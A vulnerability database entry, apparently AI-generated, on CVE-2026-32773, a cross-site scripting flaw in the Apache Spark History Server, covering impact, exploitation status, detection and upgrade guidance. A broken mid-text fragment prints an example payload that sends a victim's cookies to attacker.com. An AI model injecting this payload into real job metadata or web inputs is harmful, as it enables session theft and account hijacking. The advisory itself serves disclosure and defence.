
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-32773 is a Cross-Site Scripting (XSS) vulnerability in the Apache Spark History Server that allows a malicious Spark job to inject arbitrary unescaped frontend code into the Spark Web UI. It affects Apache Spark versions 3.0.0 through 3.5.7 (prior to 3.5.8). The vulnerability was disclosed on September 1, 2026, by reporter Yann Gourio and is tracked internally as SPARK-53747. It carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, OSS-Security).
The root cause is improper neutralization of script-related HTML tags in the Spark History Server's web interface (CWE-80). A user with sufficient permissions to submit a Spark job can embed malicious JavaScript or HTML into job metadata or output that is subsequently rendered unescaped in the History Server's web UI. Exploitation requires two preconditions: the attacker must have the ability to launch a Spark job, and a user with higher privileges must be socially engineered into visiting the affected History Server page. No public proof-of-concept code has been identified (GitHub Advisory, OSS-Security).
Successful exploitation could allow an attacker to execute arbitrary JavaScript in the browser of a higher-privileged user visiting the Spark History Server, potentially leading to session cookie theft, account hijacking, or redirection to malicious sites. The Apache advisory characterizes the privilege escalation as "minimal," as the scope is limited to browser-level impact without direct server-side compromise. Availability is not impacted, but confidentiality and integrity are both assessed as low (GitHub Advisory, OSS-Security).
There is no evidence of public proof-of-concept exploit code or active in-the-wild exploitation as of the disclosure date. The NVD SSVC assessment classifies exploitation as "none" and the attack as non-automatable, reflecting the multi-step social engineering requirement. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (GitHub Advisory, OSS-Security).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) within job metadata, application name, or other fields that are rendered in the Spark History Server UI.<script>, <img onerror=, javascript:) visible in job metadata or History Server UI.The primary remediation is to upgrade Apache Spark to version 3.5.8 or later, which includes proper XSS escaping in the History Server UI (OSS-Security, GitHub Advisory). As interim mitigations, administrators should restrict access to the Spark Web UI to trusted internal networks only, implement Content Security Policy (CSP) headers to limit script execution, and disable the Web UI entirely if it is not operationally required. Limiting who can submit Spark jobs reduces the attacker's ability to inject malicious content.
The vulnerability was disclosed via the Apache security mailing list and the OSS-Security list by Holden Karau, crediting Yann Gourio as the finder. Apache rated the severity as "low" due to the high bar for exploitation, though the NVD assigned a CVSS score of 6.1 (Medium). No significant broader media coverage or notable researcher commentary beyond the official disclosure has been identified (OSS-Security, GitHub Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."